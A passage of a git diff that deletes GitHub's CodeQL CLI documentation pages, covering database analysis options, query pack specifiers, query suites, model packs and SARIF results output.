data variables.product.prodname_codeql %} database to analyze. | -| `<packs,queries>` | {% octicon "x" aria-label="Optional" %} | Specify {% data variables.product.prodname_codeql %} packs or queries to run. To run the standard queries used for {% data variables.product.prodname_code_scanning %}, omit this parameter. To see the other query suites included in the {% data variables.product.prodname_codeql_cli %} bundle, run `codeql resolve queries`. The suites listed there can be provided with or without the `.qls` extension. For information about creating your own query suite, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites) in the documentation for the {% data variables.product.prodname_codeql_cli %}. | -| <code><span style="white-space: nowrap;">--format</span></code> | {% octicon "check" aria-label="Required" %} | Specify the format for the results file generated during analysis. A number of different formats are supported, including CSV, [SARIF](https://codeql.github.com/docs/codeql-overview/codeql-glossary/#sarif-file), and graph formats. For upload to {% data variables.product.company_short %} this should be: {% ifversion fpt or ghec %}`sarif-latest`{% else %}`sarifv2.1.0`{% endif %}. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning). | -| <code><span style="white-space: nowrap;">--output</span></code> | {% octicon "check" aria-label="Required" %} | Specify the location where you want to save the SARIF results file, including the desired filename with the `.sarif` extension. | -| <code><span style="white-space: nowrap;">--sarif-category</span></code> | {% octicon "question" aria-label="Required with multiple results sets" %} | Optional for single database analysis. Required to define the language when you analyze multiple databases for a single commit in a repository.<br><br>Specify a category to include in the SARIF results file for this analysis. A category is used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. | -| <code><span style="white-space: nowrap;">--sarif-add-baseline-file-info</span></code> | {% octicon "x" aria-label="Optional" %} | **Recommended.** Use to submit file coverage information to the {% data variables.code-scanning.tool_status_page %}. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page#how-codeql-defines-scanned-files). | -| <code><span style="white-space: nowrap;">--sarif-include-query-help</span></code> | {% octicon "x" aria-label="Optional" %} | Specify whether to include query help in the SARIF output. One of: `always`: Include query help for all queries. `custom_queries_only` (default): Include query help only for custom queries, that is, queries in query packs which are not of the form `codeql/<lang>-queries`. `never`: Do not include query help for any queries. Any query help for custom queries included in the SARIF output will be displayed in any code scanning alerts for the query. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/using-custom-queries-with-the-codeql-cli#including-query-help-for-custom-codeql-queries-in-sarif-files). | -| `<packs>` | {% octicon "x" aria-label="Optional" %} | Use if you want to include {% data variables.product.prodname_codeql %} query packs in your analysis. For more information, see [Downloading and using {% data variables.product.prodname_codeql %} packs](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs#downloading-and-using-codeql-query-packs). | -| <code><span style="white-space: nowrap;">--download</span></code> | {% octicon "x" aria-label="Optional" %} | Use if some of your {% data variables.product.prodname_codeql %} query packs are not yet on disk and need to be downloaded before running queries. | -| <code><span style="white-space: nowrap;">--threads</span></code> | {% octicon "x" aria-label="Optional" %} | Use if you want to use more than one thread to run queries. The default value is `1`. You can specify more threads to speed up query execution. To set the number of threads to the number of logical processors, specify `0`. | -| <code><span style="white-space: nowrap;">--verbose</span></code> | {% octicon "x" aria-label="Optional" %} | Use to get more detailed information about the analysis process and diagnostic data from the database creation process. | -| <code><span style="white-space: nowrap;">--threat-model</span></code> | {% octicon "x" aria-label="Optional" %} | ({% data variables.release-phases.public_preview_caps %}) Use to add threat models to configure additional sources in your {% data variables.product.prodname_codeql %} analysis. During the {% data variables.release-phases.public_preview %}, threat models are supported only by Java analysis. For more information, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-analyze#--threat-modelname). | - -> [!NOTE] -> **Upgrading databases** -> -> For databases that were created by {% data variables.product.prodname_codeql_cli %} v2.3.3 or earlier, you will need to explicitly upgrade the database before you can run an analysis with a newer -version of the {% data variables.product.prodname_codeql_cli %}. If this step is necessary, then you will see a message telling you -that your database needs to be upgraded when you run `database analyze`. -> -> For databases that were created by {% data variables.product.prodname_codeql_cli %} v2.3.4 or later, the CLI will implicitly run any required upgrades. Explicitly running the upgrade command is not necessary. - -For full details of all the options you can use when analyzing databases, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-analyze). - -### Basic example of analyzing a {% data variables.product.prodname_codeql %} database - -This example analyzes a {% data variables.product.prodname_codeql %} database stored at `/codeql-dbs/example-repo` and saves the results as a SARIF file: `/temp/example-repo-js.sarif`. It uses `--sarif-category` to include extra information in the SARIF file that identifies the results as JavaScript. This is essential when you have more than one {% data variables.product.prodname_codeql %} database to analyze for a single commit in a repository. - -```shell -$ codeql database analyze /codeql-dbs/example-repo \ - javascript-code-scanning.qls --sarif-category=javascript-typescript \ - --format={% ifversion fpt or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %} --output=/temp/example-repo-js.sarif - -> Running queries. -> Compiling query plan for /codeql-home/codeql/qlpacks/codeql-javascript/AngularJS/DisablingSce.ql. -... -> Shutting down query evaluator. -> Interpreting results. -``` - -### Adding file coverage information to your results for monitoring - -You can optionally submit file coverage information to {% data variables.product.github %} for display on the {% data variables.code-scanning.tool_status_page %} for {% data variables.product.prodname_code_scanning %}. For more information about file coverage information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page#how-codeql-defines-scanned-files). - -To include file coverage information with your {% data variables.product.prodname_code_scanning %} results, add the `--sarif-add-baseline-file-info` flag to the `codeql database analyze` invocation in your CI system, for example: - -```shell -$ codeql database analyze /codeql-dbs/example-repo \ - javascript-code-scanning.qls --sarif-category=javascript-typescript \ - --sarif-add-baseline-file-info \ --format={% ifversion fpt or ghec %}sarif-latest{% else %}sarifv2.1.0{% endif %} \ - --output=/temp/example-repo-js.sarif -``` - -## Examples of running database analyses - -The following examples show how to run `database analyze` using {% data variables.product.prodname_codeql %} packs, and how to use a local checkout of the {% data variables.product.prodname_codeql %} repository. These examples assume your {% data variables.product.prodname_codeql %} databases have been created in a directory that is a sibling of your local copies of the {% data variables.product.prodname_codeql %} repository. - -### Running a {% data variables.product.prodname_codeql %} query pack - -To run an existing {% data variables.product.prodname_codeql %} query pack from the {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_container_registry %}, you can specify one or more pack names: - -```shell -codeql database analyze <database> microsoft/coding-standards@1.0.0 github/security-queries --format=sarifv2.1.0 --output=query-results.sarif --download -``` - -This command runs the default query suite of two {% data variables.product.prodname_codeql %} query packs: `microsoft/coding-standards` version 1.0.0 and the latest version of `github/security-queries` on the specified database. For further information about default suites, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs). - -The `--download` flag is optional. Using it will ensure the query pack is downloaded if it isn’t yet available locally. - -### Running a single query - -To run a single query over a {% data variables.product.prodname_codeql %} database for a JavaScript codebase, -you could use the following command from the directory containing your database: - -```shell -codeql database analyze --download <javascript-database> codeql/javascript-queries:Declarations/UnusedVariable.ql --format=csv --output=js-analysis/js-results.csv -``` - -This command runs a simple query that finds potential bugs related to unused -variables, imports, functions, or classes—it is one of the JavaScript -queries included in the {% data variables.product.prodname_codeql %} repository. You could run more than one query by -specifying a space-separated list of similar paths. - -The analysis generates a CSV file (`js-results.csv`) in a new directory (`js-analysis`). - -Alternatively, if you have the {% data variables.product.prodname_codeql %} repository checked out, you can execute the same queries by specifying the path to the query directly: - -```shell -codeql database analyze <javascript-database> ../ql/javascript/ql/src/Declarations/UnusedVariable.ql --format=csv --output=js-analysis/js-results.csv -``` - -You can also run your own custom queries with the `database analyze` command. -For more information about preparing your queries to use with the {% data variables.product.prodname_codeql_cli %}, -see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/using-custom-queries-with-the-codeql-cli). - -### Running all queries in a directory - -You can run all the queries located in a directory by providing the directory -path, rather than listing all the individual query files. Paths are searched -recursively, so any queries contained in subfolders will also be executed. - -> [!IMPORTANT] -> You should avoid specifying the root of a core {% data variables.product.prodname_codeql %} query pack when executing `database analyze` as it might contain some special queries that aren’t designed to be used with the command. Rather, run the query pack to include the pack’s default queries in the analysis, or run one of the code scanning query suites. - -For example, to execute all Python queries contained in the `Functions` directory in the -`codeql/python-queries` query pack you would run: - -```shell -codeql database analyze <python-database> codeql/python-queries:Functions --format=sarif-latest --output=python-analysis/python-results.sarif --download -``` - -Alternatively, if you have the {% data variables.product.prodname_codeql %} repository checked out, you can execute the -same queries by specifying the path to the directory directly: - -```shell -codeql database analyze <python-database> ../ql/python/ql/src/Functions/ --format=sarif-latest --output=python-analysis/python-results.sarif -``` - -When the analysis has finished, a SARIF results file is generated. Specifying `--format=sarif-latest` ensures -that the results are formatted according to the most recent SARIF specification -supported by {% data variables.product.prodname_codeql %}. - -### Running a subset of queries in a {% data variables.product.prodname_codeql %} pack - -If you are using {% data variables.product.prodname_codeql_cli %} v2.8.1 or later, you can include a path at the end of a pack specification to run a subset of queries inside the pack. This applies to any command that locates or runs queries within a pack. - -The complete way to specify a set of queries is in the form `scope/name@range:path`, where: - -* `scope/name` is the qualified name of a {% data variables.product.prodname_codeql %} pack. - -* `range` is a [semver range](https://docs.npmjs.com/cli/v6/using-npm/semver#ranges). - -* `path` is a file system path to a single query, a directory containing queries, or a query suite file. - -When you specify a `scope/name`, the `range` and `path` are -optional. If you omit a `range` then the latest version of the -specified pack is used. If you omit a `path` then the default query suite -of the specified pack is used. - -The `path` can be one of a `\*.ql` query file, a directory -containing one or more queries, or a `.qls` query suite file. If -you omit a pack name, then you must provide a `path`, -which will be interpreted relative to the working directory -of the current process. - -If you specify a `scope/name` and `path`, then the `path` cannot -be absolute. It is considered relative to the root of the {% data variables.product.prodname_codeql %} -pack. - -To analyze a database using all queries in the `experimental/Security` folder within the `codeql/cpp-queries` {% data variables.product.prodname_codeql %} pack you can use: - -```shell -codeql database analyze --format=sarif-latest --output=results <db> \ - codeql/cpp-queries:experimental/Security -``` - -To run the `RedundantNullCheckParam.ql` query in the `codeql/cpp-queries` {% data variables.product.prodname_codeql %} pack use: - -```shell -codeql database analyze --format=sarif-latest --output=results <db> \ - 'codeql/cpp-queries:experimental/Likely Bugs/RedundantNullCheckParam.ql' -``` - -To analyze your database using the `cpp-security-and-quality.qls` query suite from a version of the `codeql/cpp-queries` {% data variables.product.prodname_codeql %} pack that is >= 0.0.3 and < 0.1.0 (the highest compatible version will be chosen) you can use: - -```shell -codeql database analyze --format=sarif-latest --output=results <db> \ - 'codeql/cpp-queries@~0.0.3:codeql-suites/cpp-security-and-quality.qls' -``` - -If you need to reference a query file, directory, or suite whose path contains a literal `@` or `:`, you can prefix the query specification with `path:` like so: - -```shell -codeql database analyze --format=sarif-latest --output=results <db> \ - path:C:/Users/ci/workspace@2/security/query.ql -``` - -For more information about {% data variables.product.prodname_codeql %} packs, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs). - -### Running query suites - -To run a query suite on a {% data variables.product.prodname_codeql %} database for a C/C++ codebase, -you could use the following command from the directory containing your database: - -```shell -codeql database analyze <cpp-database> codeql/cpp-queries:codeql-suites/cpp-code-scanning.qls --format=sarifv2.1.0 --output=cpp-results.sarif --download -``` - -This command downloads the `codeql/cpp-queries` {% data variables.product.prodname_codeql %} query pack, runs the analysis, and generates a file in the SARIF version 2.1.0 format that is supported by all versions of {% data variables.product.prodname_dotcom %}. This file can be uploaded to {% data variables.product.prodname_dotcom %} by executing `codeql github upload-results` or the code scanning API. -For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github) -or [AUTOTITLE](/rest/code-scanning). - -{% data variables.product.prodname_codeql %} query suites are `.qls` files that use directives to select queries to run -based on certain metadata properties. The standard {% data variables.product.prodname_codeql %} packs have metadata that specify -the location of the query suites used by code scanning, so the {% data variables.product.prodname_codeql_cli %} knows where to find these -suite files automatically, and you don’t have to specify the full path on the command line. -For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites). - -For information about creating custom query suites, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites). - -### Including model packs to add potential sources of tainted data - -{% data reusables.code-scanning.beta-threat-models-cli %} - -You can configure threat models in a {% data variables.product.prodname_code_scanning %} analysis. For more information, see [Threat models for Java and Kotlin](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-java-and-kotlin/#threat-models) and [Threat models for C#](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-csharp/#threat-models) in the {% data variables.product.prodname_codeql %} documentation. - -```shell -$ codeql database analyze /codeql-dbs/my-company --format=sarif-latest \ - --threat-model=local \ - --output=/temp/my-company.sarif codeql/java-queries -``` - -In this example, the relevant queries in the standard query pack `codeql/java-queries` will use the `local` threat model as well as the default threat model for `remote` dataflow sources. You should use the `local` threat model if you consider data from local sources (for example: file systems, command-line arguments, databases, and environment variables) to be potential sources of tainted data for your codebase. - -## Results - -You can save analysis results in a number of different formats, including SARIF and CSV. - -The SARIF format is designed to represent the output of a broad range of static analysis tools. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/sarif-output). - -For more information about what the results look like in CSV format, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/csv-output). - -Results files can be integrated into your own code-review or debugging infrastructure. For example, SARIF file output can be used to highlight alerts in the correct location in your source code using a SARIF viewer plugin for your IDE. - -## Viewing log and diagnostic information - -When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. If you choose to generate SARIF output, the additional data is also included in the SARIF file. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option. - -For more information about the type of diagnostic information available, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs#about-analysis-and-diagnostic-information). - -You can choose to export and upload diagnostic information to {% data variables.product.github %} even if a {% data variables.product.prodname_codeql %} analysis fails. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github#uploading-diagnostic-information-to-github-if-the-analysis-fails). - -## Next steps - -* To learn how to upload your {% data variables.product.prodname_codeql %} analysis results to {% data variables.product.github %}, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github). diff --git a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs.md b/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs.md deleted file mode 100644 index 94f4b969366c..000000000000 --- a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Customizing analysis with CodeQL packs -intro: 'You can use {% data variables.product.prodname_codeql %} packs to run {% data variables.product.prodname_codeql %} queries maintained by other people, or to share {% data variables.product.prodname_codeql %} queries that you''ve developed.' -shortTitle: Customizing analysis -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/about-codeql-packs - - /code-security/codeql-cli/codeql-cli-reference/about-codeql-packs ---- - -## About {% data variables.product.prodname_codeql %} packs - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - - {% data variables.product.prodname_codeql %} packs are used to create, share, depend on, and run {% data variables.product.prodname_codeql %} queries and libraries. {% data variables.product.prodname_codeql %} packs contain queries, library files, query suites, and metadata. You can customize your {% data variables.product.prodname_codeql %} analysis by downloading packs created by others and running them on your codebase. - -There are three types of {% data variables.product.prodname_codeql %} packs: query packs, library packs, and model packs. - -* Query packs contain a set of pre-compiled queries that can be evaluated on a {% data variables.product.prodname_codeql %} database. Query packs are designed to be run. When a query pack is published, the bundle includes all the transitive dependencies and pre-compiled representations of each query, in addition to the query sources. This ensures consistent and efficient execution of the queries in the pack. - -* Library packs are designed to be used by query packs (or other library packs) and do not contain queries themselves. The libraries are not compiled separately. - -* Model packs can be used to expand {% data variables.product.prodname_code_scanning %} analysis to recognize libraries and frameworks that are not supported by default. Model packs are currently in {% data variables.release-phases.public_preview %} and subject to change. During the {% data variables.release-phases.public_preview %}, model packs are available for {% data variables.code-scanning.codeql_model_packs_support %} analysis. For more information about creating your own model packs, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-codeql-model-pack). - -The standard {% data variables.product.prodname_codeql %} packs for all supported languages are published in the [{% data variables.product.prodname_container_registry %}](https://github.com/orgs/codeql/packages). If you installed the {% data variables.product.prodname_codeql_cli %} in the standard way, using the {% data variables.product.prodname_codeql_cli %} bundle, the core query packs are already downloaded and available to you. They are: - - * `codeql/cpp-queries` - * `codeql/csharp-queries` - * `codeql/go-queries` - * `codeql/java-queries` - * `codeql/javascript-queries` - * `codeql/python-queries` - * `codeql/ruby-queries` - * `codeql/swift-queries` - -You can also use the {% data variables.product.prodname_codeql_cli %} to create your own {% data variables.product.prodname_codeql %} packs, add dependencies to packs, and install or update dependencies. For more information, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-and-working-with-codeql-packs). - -You can publish {% data variables.product.prodname_codeql %} packs that you have created, using the {% data variables.product.prodname_codeql_cli %}. For more information on publishing and downloading {% data variables.product.prodname_codeql %} packs, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs). - -## Downloading and using {% data variables.product.prodname_codeql %} query packs - -The {% data variables.product.prodname_codeql_cli %} bundle includes queries that are maintained by {% data variables.product.company_short %} experts, security researchers, and community contributors. If you want to run queries developed by other organizations, {% data variables.product.prodname_codeql %} query packs provide an efficient and reliable way to download and run queries, while model packs ({% data variables.release-phases.public_preview %}) can be used to expand {% data variables.product.prodname_code_scanning %} analysis to recognize libraries and frameworks that are not supported by default. For more information about query packs, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql-queries). For information about writing your own model packs, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-model-pack). - -Before you can use a {% data variables.product.prodname_codeql %} query pack to analyze a database, you must download any packages you require from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}. This can be done either by using the `--download` flag as part of the `codeql database analyze` command, or running `codeql pack download`. If a package is not publicly available, you will need to use a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} to authenticate. For more information and an example, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github#uploading-results-to-github). - -| Option | Required | Usage | -|--------|:--------:|-----| -| <code><span style="white-space: nowrap;"><scope/name@version:path></span></code> | {% octicon "check" aria-label="Required" %} | Specify the scope and name of one or more {% data variables.product.prodname_codeql %} query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. Optionally, include a path to a query, directory, or query suite to run. If no path is included, then run the default queries of this pack. | -| <code><span style="white-space: nowrap;">--github-auth-stdin</span></code> | {% octicon "x" aria-label="Optional" %} | Pass the CLI the {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} created for authentication with {% data variables.product.company_short %}'s REST API from your secret store via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. - -> [!NOTE] -> If you specify a particular version of a query pack to use, be aware that the version you specify may eventually become too old for the latest version of {% data variables.product.prodname_codeql %} to make efficient use of. To ensure optimal performance, if you need to specify exact query pack versions, you should reevaluate which versions you pin to whenever you upgrade the {% data variables.product.prodname_codeql_cli %} you're using. -> -> For more information about pack compatibility, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs#about-codeql-pack-compatibility). - -### Basic example of downloading and using query packs - -This example runs the `codeql database analyze` command with the `--download` option to: - -1. Download the latest version of the `octo-org/security-queries` pack. -1. Download a version of the `octo-org/optional-security-queries` pack that is _compatible_ with version 1.0.1 (in this case, it is version 1.0.2). For more information on semver compatibility, see [npm's semantic version range documentation](https://github.com/npm/node-semver#ranges). -1. Run all the default queries in `octo-org/security-queries`. -1. Run only the query `queries/csrf.ql` from `octo-org/optional-security-queries` - -```shell -$ echo $OCTO-ORG_ACCESS_TOKEN | codeql database analyze --download /codeql-dbs/example-repo \ - octo-org/security-queries \ - octo-org/optional-security-queries@~1.0.1:queries/csrf.ql \ - --format=sarif-latest --output=/temp/example-repo-js.sarif - -> Download location: /Users/mona/.codeql/packages -> Installed fresh octo-org/security-queries@1.0.0 -> Installed fresh octo-org/optional-security-queries@1.0.2 -> Running queries. -> Compiling query plan for /Users/mona/.codeql/packages/octo-org/security-queries/1.0.0/potential-sql-injection.ql. -> [1/2] Found in cache: /Users/mona/.codeql/packages/octo-org/security-queries/1.0.0/potential-sql-injection.ql. -> Starting evaluation of octo-org/security-queries/query1.ql. -> Compiling query plan for /Users/mona/.codeql/packages/octo-org/optional-security-queries/1.0.2/queries/csrf.ql. -> [2/2] Found in cache: /Users/mona/.codeql/packages/octo-org/optional-security-queries/1.0.2/queries/csrf.ql. -> Starting evaluation of octo-org/optional-security-queries/queries/csrf.ql. -> [2/2 eval 694ms] Evaluation done; writing results to octo-org/security-queries/query1.bqrs. -> Shutting down query evaluator. -> Interpreting results. -``` - -### Direct download of {% data variables.product.prodname_codeql %} packs - -If you want to download a {% data variables.product.prodname_codeql %} pack without running it immediately, then you can use the `codeql pack download` command. This is useful if you want to avoid accessing the internet when running {% data variables.product.prodname_codeql %} queries. When you run the {% data variables.product.prodname_codeql %} analysis, you can specify packs, versions, and paths in the same way as in the previous example: - -```shell -echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download <scope/name@version:path> <scope/name@version:path> ... -``` - -### Downloading {% data variables.product.prodname_codeql %} packs from multiple {% data variables.product.company_short %} container registries - -If your {% data variables.product.prodname_codeql %} packs reside on multiple container registries, then you must instruct the {% data variables.product.prodname_codeql_cli %} where to find each pack. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#downloading-codeql-packs-from-github-enterprise-server). - -## Specifying which queries to run in a {% data variables.product.prodname_codeql %} pack - -Query specifiers are used by `codeql database analyze` and other commands that operate on a set of queries. -The complete form of a query specifier is `scope/name@range:path`, where: - -* `scope/name` is the qualified name of a {% data variables.product.prodname_codeql %} pack. -* `range` is a [semver range](https://docs.npmjs.com/cli/v6/using-npm/semver#ranges). -* `path` is a file system path to a single query, a directory containing queries, or a query suite file. - -When you specify a `scope/name`, the `range` and `path` are -optional. If you omit a `range` then the latest version of the -specified pack is used. If you omit a `path` then the default query suite -of the specified pack is used. - -The `path` can be one of: a `.ql` query file, a directory -containing one or more queries, or a `.qls` query suite file. If -you omit a pack name, then you must provide a `path`, -which will be interpreted relative to the working directory -of the current process. Glob patterns are not supported. - -If you specify both a `scope/name` and `path`, then the `path` cannot -be absolute. It is considered relative to the root of the {% data variables.product.prodname_codeql %} -pack. - -### Example query specifiers - -* `codeql/python-queries` - All the queries in the default query suite of the latest version of the `codeql/python-queries` pack. - -* `codeql/python-queries@1.2.3` - All the queries in the default query suite of version `1.2.3` of the `codeql/python-queries` pack. - -* `codeql/python-queries@~1.2.3` - All the queries in the default query suite of the latest version of the `codeql/python-queries` pack that is >= `1.2.3` and < `1.3.0`. - -* `codeql/python-queries:Functions` - All queries in the `Functions` directory in the latest version of the `codeql/python-queries` pack. - -* `codeql/python-queries@1.2.3:Functions` - All queries in the `Functions` directory in version 1.2.3 of the `codeql/python-queries` pack. - -* `codeql/python-queries@1.2.3:codeql-suites/python-code-scanning.qls` - All queries in the `codeql-suites/python-code-scanning.qls` directory in version 1.2.3 of the `codeql/python-queries` pack. - -* `suites/my-suite.qls` - All queries in the `suites/my-suite.qls` file relative to the current working directory. - -> [!TIP] -> The default query suite of the standard {% data variables.product.prodname_codeql %} query packs are `codeql-suites/<lang>-code-scanning.qls`. Several other useful query suites can also be found in the `codeql-suites` directory of each pack. For example, the `codeql/cpp-queries` pack contains the following query suites: -> -> * `cpp-code-scanning.qls` - Standard Code Scanning queries for C++. The default query suite for this pack. -> * `cpp-security-extended.qls` - Queries from the default `cpp-code-scanning.qls` suite for C++, plus lower severity and precision queries. -> * `cpp-security-and-quality.qls` - Queries from `cpp-security-extended.qls`, plus maintainability and reliability queries. -> -> You can see the sources for these query suites in the [{% data variables.product.prodname_codeql %} repository](https://github.com/github/codeql/tree/main/cpp/ql/src/codeql-suites). Query suites for other languages are similar. - -## Using model packs to analyze calls to custom dependencies - -You can include published model packs in a {% data variables.product.prodname_code_scanning %} analysis with the `--model-packs` option. For example: - -```shell -$ codeql database analyze /codeql-dbs/my-company --format=sarif-latest \ - --model-packs my-repo/my-java-model-pack \ - --output=/temp/my-company.sarif codeql/java-queries -``` - -In this example, the relevant queries in the standard query pack `codeql/java-queries` will use the dependency information from the model pack, `my-repo/my-java-model-pack`, to check for vulnerabilities in code that calls those dependencies. - -You can specify multiple published model packs in an analysis. - -For more information about writing your own model packs, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-model-pack). - -### About published packs - -When a pack is published for use in analyses, the `codeql pack create` or `codeql pack publish` command verifies that the content is complete and also adds some additional pieces of content to it: - -* For query packs, a copy of each of the library packs it depends on, in the precise versions it has been developed with. Users of the query pack won't need to download these library packs separately. - -* For query packs, precompiled representations of each of the queries. These are faster to execute than it would be to compile the QL source for the query at each analysis. - -Most of this data is located in a directory named `.codeql` in the published pack, but precompiled queries are in files with a `.qlx` suffix next to the `.ql` source for each query. When analyzing a database with a query from a published pack, {% data variables.product.prodname_codeql %} will load these files instead of the `.ql` source. If you need to modify the content of a _published_ pack, be sure to remove all of the `.qlx` files, since they may prevent modifications in the `.ql` files from taking effect. diff --git a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/index.md b/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/index.md deleted file mode 100644 index 93dd23013097..000000000000 --- a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Getting started with the CodeQL CLI -intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to locally develop, test and run {% data variables.product.prodname_codeql %} queries on software projects.' -shortTitle: Getting started -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /about-the-codeql-cli - - /setting-up-the-codeql-cli - - /preparing-your-code-for-codeql-analysis - - /analyzing-your-code-with-codeql-queries - - /uploading-codeql-analysis-results-to-github - - /customizing-analysis-with-codeql-packs -redirect_from: - - /code-security/codeql-cli/using-the-codeql-cli ---- diff --git a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis.md b/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis.md deleted file mode 100644 index 5c6a0528ea14..000000000000 --- a/content/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis.md +++ /dev/null @@ -1,450 +0,0 @@ ---- -title: Preparing your code for CodeQL analysis -intro: 'You can build a {% data variables.product.prodname_codeql %} database containing the data needed to analyze your code.' -shortTitle: Preparing code for analysis -permissions: '{% data reusables.permissions.repo-checkout %}' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/creating-codeql-databases - - /code-security/codeql-cli/using-the-codeql-cli/creating-codeql-databases - - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system - - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-codeql-code-scanning-in-your-ci-system - - /github/finding-security-vulnerabilities-and-errors-in-your-code/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-code-scanning-in-your-ci-system - - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system ---- -<!--The CodeQL CLI man pages include a link to a section in this article. If you rename this article, -make sure that you also update the MS short link: https://aka.ms/codeql-docs/indirect-tracing.--> - -## About preparing your code for analysis - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - -Before you analyze your code using {% data variables.product.prodname_codeql %}, you need to create a {% data variables.product.prodname_codeql %} database containing all the data required to run queries on your code. You can create {% data variables.product.prodname_codeql %} databases yourself using the {% data variables.product.prodname_codeql_cli %}. - -{% data variables.product.prodname_codeql %} analysis relies on extracting relational data from your code, and using it to build a [{% data variables.product.prodname_codeql %} database](https://codeql.github.com/docs/codeql-overview/codeql-glossary/#codeql-database). {% data variables.product.prodname_codeql %} databases contain all of the important information about a codebase, which can be analyzed by executing {% data variables.product.prodname_codeql %} queries against it. - -Before you generate a {% data variables.product.prodname_codeql %} database, you need to: - -1. Install and set up the {% data variables.product.prodname_codeql_cli %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli). -1. Check out the 